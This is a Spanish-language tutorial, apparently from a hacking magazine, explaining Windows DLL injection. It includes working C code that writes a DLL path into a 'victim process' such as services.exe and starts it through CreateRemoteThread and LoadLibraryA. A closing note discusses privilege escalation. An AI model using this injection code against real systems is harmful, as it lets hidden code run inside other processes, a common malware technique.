Esta función nos permitirá ejecutar nuestros códigos en otros procesos. Quizás algunos de ustedes habrá oído hablar de la técnica de inyección de código por DLLs, pero nunca han tenido idea de como llevarlo a la práctica. Aquí les presento una función que se encarga de este trabajo; los parámetros de entrada son el PID del proceso y el nombre de la DLL.
El funcionamiento es el siguiente: luego de abierta nuestra aplicación tomamos el PID de algún proceso del sistema que estemos seguro que siempre existirá (ej: services.exe), luego inyectamos la DLL al proceso y todos los códigos que tengamos en el EntryPoint de la DLL serán ejecutados por el proceso víctima.
Importante saber que nuestro código debe estar dispuesto en el EntryPoint de la DLL de la siguiente manera:
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
if ( DLL_PROCESS_ATTACH == reason )
{
// aquí ponemos todo lo que queramos
// que el proceso víctima haga por nosotros
// ejemplo:
MessageBoxA( NULL, GetCommandLineA(), "Test", NULL); // mostrará la dirección del .exe del proceso víctima
}
return 1;
}
Lo que hace la condicional es asegurarse de que el código sólo sea ejecutado en el momento en que la DLL es cargada por el proceso. Ahora la función en cuestión:
BOOL InjectDLL(DWORD ProcessID, char *DLL_NAME)
{
HANDLE Proc;
LPVOID RemoteString, LoadLibAddy;
if(!ProcessID)
return false;
Proc = OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ProcessID);
if(!Proc)
{
ShowMessage("No pude abrir el poceso.");
return false;
}
LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
RemoteString = (LPVOID)VirtualAllocEx(Proc, 0, strlen(DLL_NAME), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(Proc, (LPVOID)RemoteString, DLL_NAME,strlen(DLL_NAME), NULL);
CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL);
CloseHandle(Proc);
return true;
}
Básicamente, lo que realiza esta función es abrir el proceso víctima, escribir en su memoria una llamada a la API LoadLibraryA con nuestra DLL como parámetro y hacer que ejecute justo en el lugar de su memoria donde escribimos para que haga el llamado a la API. En el momento en que carga la DLL, se ejecuta su EntryPoint junto con nuestro código 😉
Nota: Quizás en este momento te ha venido la idea de usar esta técnica para elevarte en la escala de privilegios, abriendo un proceso SYSTEM y pidiéndole que te suba. Lamento desilusionarte, pero eso no te servirá por la sencilla razón de que no podrás abrir un proceso que esté por encima de ti en la escala de privilegios, es decir, que si tú estás como usuario normal e intentas abrir Services, que está como SYSTEM, no te dará resultado. No obstante, en el número 22 de la revista publiqué un código que permite ejecutarnos como SYSTEM.
La cantidad de usos que le podemos dar a este código solo está limitada por tu imaginación.
